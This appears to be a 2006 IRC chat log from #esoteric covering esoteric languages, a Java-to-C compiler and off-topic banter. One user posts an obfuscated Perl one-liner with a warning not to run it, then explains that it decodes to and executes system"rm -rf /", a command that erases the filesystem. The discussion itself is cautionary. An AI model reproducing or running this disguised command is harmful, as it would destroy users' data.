< 1150505288 0 :Arrogant!unknown@unknown.invalid QUIT :"Leaving" < 1150505765 0 :Arrogant!i=Scott@53.orlando-09-10rs.fl.dial-access.att.net JOIN :#esoteric < 1150509565 0 :Arrogant!unknown@unknown.invalid QUIT :"Leaving" < 1150510453 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers? < 1150510726 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Oh, it's bedtime. < 1150510746 0 :ihope!unknown@unknown.invalid QUIT :"The wonderful thing about Tiggers..." < 1150512803 0 :kipple!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1150513583 0 :jix!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1150513595 0 :jix!i=jix@L632c.l.strato-dslnet.de JOIN :#esoteric < 1150514122 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :hmm, accurate: http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=2290 < 1150514130 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :also: ... < 1150514157 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :Ye gods this is clever! perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see' < 1150514163 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :DO NOT RUN THAT!!!! < 1150514170 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :http://www.dlitz.net/stuff/malicious-perl-sig/ < 1150514620 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ahh, perl < 1150514793 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :executable line-noise < 1150514912 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :it is very clever < 1150514960 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :I don't know perl, so I have no idea < 1150514972 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :have you read the URL? < 1150514980 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1150515016 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :well, the program starts with the equivalent of: false?asdfasdfasdf:morestuff < 1150515027 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :i.e. only moresutff gets executed. < 1150515032 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :I understood that part < 1150515060 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :Now, Larry Wall was not just a programmer, but a linguist too... < 1150515070 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :so he gave perl pronouns < 1150515081 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :the default pronoun for many things is called $_ < 1150515113 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :it is what allows perl to work like sed often, since $_ is implicit in many places < 1150515120 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :got that? ... < 1150515131 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :no < 1150515141 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :you know what sed is, right? < 1150515145 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1150515176 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :perl has some of the same stuff as that in it. < 1150515206 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :but perl justifies such things belonging in a real language by using $_ < 1150515206 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1150515226 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :$_ is the variable that commands often work on if you specify no other variable < 1150515260 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric : so, the first command is a substitution on $_, like sed's s///. < 1150515281 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :except, here the programmer chose to use ; instead of / < 1150515324 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :it replaces nothing ($_ is initially empty AFAICT) with =]=>%-{<-|}<&|`{ in $_ < 1150515350 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :which basically acts like $_ = '=]=>%-{<-|}<&|`{' < 1150515373 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :got that? < 1150515375 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1150515390 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :I think I understand it now < 1150515393 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :so, we have a string of precise garbage in $_ < 1150515413 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :now, the y command translates chars into other chars with a look-up table < 1150515434 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :he has used lots of ranges, to make the LHS shorter and the RHS letter-free < 1150515477 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :if you work out what the table is, you find it turns all the ASCII punctuation except ~ into (mostly) letters. < 1150515508 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :this turns the string of garbage in $_ into system"rm -rf /" < 1150515565 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :the final substitution turns nothing into $_ (don't quite understand that myself), and executes the result. < 1150515581 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :Tada! He demonstrates that perl is too powerful < 1150515584 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1150515609 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :and that people should execute random code < 1150515616 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1150515647 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :s/should/shouldn't/ < 1150516025 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :ACTION goes < 1150516028 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :ACTION goes to bed < 1150518433 0 :wildhalcyon!n=chatzill@c-69-243-86-169.hsd1.md.comcast.net JOIN :#esoteric < 1150523362 0 :jix!unknown@unknown.invalid QUIT :"This computer has gone to sleep" < 1150524548 0 :wildhalcyon!unknown@unknown.invalid QUIT :"Chatzilla 0.9.73 [Firefox 1.5.0.4/2006050817]" < 1150531144 0 :bsmntbombdood!unknown@unknown.invalid QUIT :"all your basment are belong to bsmntbombdood" < 1150531199 0 :clog!unknown@unknown.invalid QUIT :ended < 1150531200 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1150545283 0 :kipple!n=kipple@250.80-202-100.nextgentel.com JOIN :#esoteric < 1150549836 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :ACTION eats breakfast < 1150552380 0 :kipple!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1150553745 0 :kipple!n=kipple@250.80-202-100.nextgentel.com JOIN :#esoteric < 1150557770 0 :kipple!unknown@unknown.invalid PRIVMSG #esoteric :hmm. my new language has a feature I'm starting to think could be a problem: It is not possible to have code in the program that is not executed at least once. I.e. If is not possible < 1150557780 0 :kipple!unknown@unknown.invalid PRIVMSG #esoteric :would that be a problem for turing completeness? < 1150565587 0 :ihope!n=foo@c-71-205-100-59.hsd1.mi.comcast.net JOIN :#esoteric < 1150565594 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :BASIC and Haskell are opposites. < 1150566543 0 :tgwizard!n=tgwizard@c-e43ee155.178-1-64736c10.cust.bredbandsbolaget.se JOIN :#esoteric < 1150566607 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :kipple: I think that is not a problem < 1150566745 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :given cond = [expression giving 1 or 0], then you do tt twice, undo tt (2-i) times, do ff twice, undo ff (1+i) times. < 1150566765 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :the net result is: if c then tt else ff endif < 1150566782 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :ihope: well, duh < 1150567101 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1150567121 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :ye gods this compiler is crap so far... < 1150567150 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :" goto A_Start_exit; < 1150567151 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric : A_Start_exit:" < 1150567181 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :also: < 1150567182 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :" goto A_Start_exit; < 1150567185 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric : A_Start_exit:" < 1150567186 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :erm, oops < 1150567195 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :I meant: < 1150567196 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :" fp[-2] = (int)malloc(8); < 1150567196 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric : fp[-1] = fp[-2]; < 1150567196 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric : push(10); < 1150567197 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric : push(fp[-1]);" < 1150567232 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :Note that fp points to the last value pushed at the strt of that snippet. < 1150567237 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :So Subtle Cough is useless... < 1150567242 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1150567245 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :That's nice :-) < 1150567282 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :Well, my job next academic year is to make it into an ptimising compiler < 1150567303 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :What's it compiling? < 1150567441 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :A java subset into C. < 1150567456 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :it assumes that sizeof(int)=8 < 1150567460 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1150567461 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :it assumes that sizeof(int)=4 < 1150567506 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :waitamo... < 1150567541 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :is it traditional for the stack pointer to point at the top item of the stack or the place where the next item will be put? < 1150567909 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Who uses pointers? :-P < 1150568188 0 :SimonRC!unknown@unknown.invalid PRIVMSG #esoteric :OMFG! http://elitemrp.net/fark/2006/hdd/ < 1150574178 0 :GregorR!unknown@unknown.invalid QUIT :"Leaving" < 1150577554 0 :bsmntbombdood!n=gavin@unaffiliated/bsmntbombdood JOIN :#esoteric < 1150578075 0 :wildhalcyon!n=chatzill@c-69-243-86-169.hsd1.md.comcast.net JOIN :#esoteric < 1150578092 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :hey folks < 1150578105 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :HAI < 1150578132 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :whats up? < 1150578153 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :the sky, stupid :P < 1150578187 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :Only from the perspective of the ground, in reference to physical objects < 1150578194 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, duh. Why don't you just LOOK up, you idiot? < 1150578246 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :Well, suppose you're at the International Space Station? < 1150578255 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :Up is like... some other direction < 1150578261 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :then there is no up. < 1150578456 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :There are two ups, but they're in opposite directions, so they cancel out. < 1150578465 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :no, there's no ups < 1150578492 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :up is a constantly changing dynamic quantity < 1150578505 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :no, it doesn't exist < 1150578539 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :but it does < 1150578547 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :define it < 1150578605 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :... < 1150578607 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :I can't :-( < 1150578716 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :At a given point X, up is the opposite of the direction of the net gravity at X. < 1150578778 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :* X * < 1150578786 0 :jix!i=jix@L632c.l.strato-dslnet.de JOIN :#esoteric < 1150578797 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :that would work < 1150578800 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :if * is a planet, where is up at point X < 1150578817 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :depends on where you currently are on the planet < 1150578840 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :for the most part, its going to be the normal vector to the surface of the planet at point x < 1150578843 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :If there is no net gravity at X, then the direction of the net gravity at X is undefined, making up at point X undefined. < 1150580102 0 :wildhalcyon!unknown@unknown.invalid PRIVMSG #esoteric :That makes sense < 1150581725 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. A Google search for "cow tipping" gives "Wikipedia: Cow Tipping", with a description of "Examines the evidence that cow tipping is an urban myth." Compare this to one of the results for "Phil Stocks": "Phil Stocks - Wikipedia, the free encyclopedia", with the description of "Phil Stocks then worked on the two RSL trials at 107.2 WIN FM, before becoming the drivetime presenter in 1999.... < 1150581726 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :...In July 2001 Phil joined Wessex FM soon ..." < 1150582300 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.com/715432 <- makes little sense < 1150582476 0 :jix!unknown@unknown.invalid QUIT :"Bitte waehlen Sie eine Beerdigungnachricht" < 1150582484 0 :wildhalcyon!unknown@unknown.invalid QUIT :"Chatzilla 0.9.73 [Firefox 1.5.0.4/2006050817]" < 1150582827 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ACTION doesn't get it < 1150582878 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :The pastebin thing, or the Google thing? < 1150582887 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :the pastebin < 1150583144 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :well, both < 1150583198 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :The pastebin is a snip of stuff copied from Mirek's Cellebration. < 1150583208 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :The Google thing is a proof that Google is magic. < 1150583318 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Ah, but Yahoo provides "sublinks" for the Wikipedia article on cow tipping! < 1150583465 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :it's amazing that they get any work done at google. < 1150583683 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Why? < 1150583693 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :"here, take this scooter and ride around all day." < 1150583716 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Boosting worker morale can't be bad :-P < 1150583773 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :I saw some pictures of a google office, and they just had a WHOLE BOWL full of m&ms on the counter < 1150583849 0 :ihope!unknown@unknown.invalid PRIVMSG #esoteric :Maybe that's just to lure workers in, and then they use them for slaves. < 1150583953 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :A WHOLE BOWL < 1150584037 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :just sitting there for anybody to eat < 1150584150 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :it's amazing < 1150585780 0 :Arrogant!i=Scott@54.orlando-06-08rs.fl.dial-access.att.net JOIN :#esoteric < 1150587563 0 :tgwizard!unknown@unknown.invalid QUIT :"Leaving"